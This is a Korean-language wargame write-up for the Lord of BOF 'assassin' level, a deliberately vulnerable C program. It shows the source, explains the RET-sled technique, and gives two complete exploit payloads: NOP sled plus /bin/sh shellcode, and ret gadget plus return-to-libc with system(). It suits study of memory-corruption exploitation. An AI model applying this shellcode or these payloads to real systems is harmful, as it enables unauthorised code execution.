[LOB] giant
giant로 로그인을 하게 되면, assassin 파일을 확인할 수 있다.
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer+sfp hunter
memset(buffer, 0, 44);
}
문제를 보게 되면, no stack, no RTL 이 적혀있다. 이번문제를 RTL로 풀 수 없는 거 같다.
코드를 보면,
1. if(argv[1][47]=='\xbf')와 if(argv[1][47]=='\x40')에서 만족 시 exit(0)되는 것을 통해서 48bytes째에서 입력 인자가 '\xbf'와 '\x40'이 되면 안된다.
2. strcpy(buffer, argv[1]);에서 인자 길이를 지정하지 않아서 버퍼오버플로우 공격이 가능하다.
3. memset(buffer, 0, 44);에서 buffer 44bytes가 0으로 초기화된다.
☞ buffer+sfp hunter로 되는 것을 통해서 buffer(40bytes)와 sfp(4bytes)가 초기화되는 것을 알 수 있다.
RTL을 사용하지 못하게 했기 때문에 이번 문제를 풀기 위해서 RET Sled 기법을 이용하면 된다.
RET Sled기법은 RET부분에 RET가젯을 삽입하여서 RET Address를 한 칸 뒤로 조작하는 기법이다. RET에 제약이 걸린 경우 사용이 된다.
RET Gadget
pop eip
jmp eip
▼
RET
pop eip
jmp eip
RET
pop eip
jmp eip
주로, 두 번째 RET부분에 shellcode를 넣거나, RTL을 하면 된다.
방법1. 새로운 RET에 쉘코드 넣기
buffer + sfp → 44bytes : NOP+shellcode
RET = 다음 RET 주소 → 4bytes
RET = argv[1]내 NOP 주소
1) NOP(20bytes) + Shellcode(24bytes) :
"\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
2) RET 주소 : 0x804851e
...
3) argv[1]내 NOP 주소 :
./assassin `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x1e\x85\x04\x08"+"\xbf\xbf\xff\xbf"'`
실행 후에 core파일 확인
$ gdb -q -c core
(gdb) x/1000x $esp
그러면 쉘코드가 있는 주소로 0xbffffc34로 선택
최종 페이로드 :
./assassin `python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x1e\x85\x04\x08"+"\x34\xfc\xff\xbf"'`
성공! 😃
방법2. RET SLED + RTL
buffer + sfp → 44bytes : dummy
RET = 다음 RET 주소
system 함수 주소
dummy 4bytes
/bin/sh 주소
1) 44bytes dummy : "A"*44
2) RET 주소 : 0x804851e
3) system함수 주소 : 0x40058ae0
4) dummy : "A"*4
5) /bin/sh 주소 : 0x400fbff9
#include <stdio.h>
#include <string.h>
int main()
{
long system=0x40058ae0;
while (memcmp((void*)system,"/bin/sh\x00",8))
{
system++;
}
printf("/bin/sh : %x\n",system);
return 0;
}
최종 페이로드 :
./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"A"*4+"\xf9\xbf\x0f\x40"'`
성공! 😃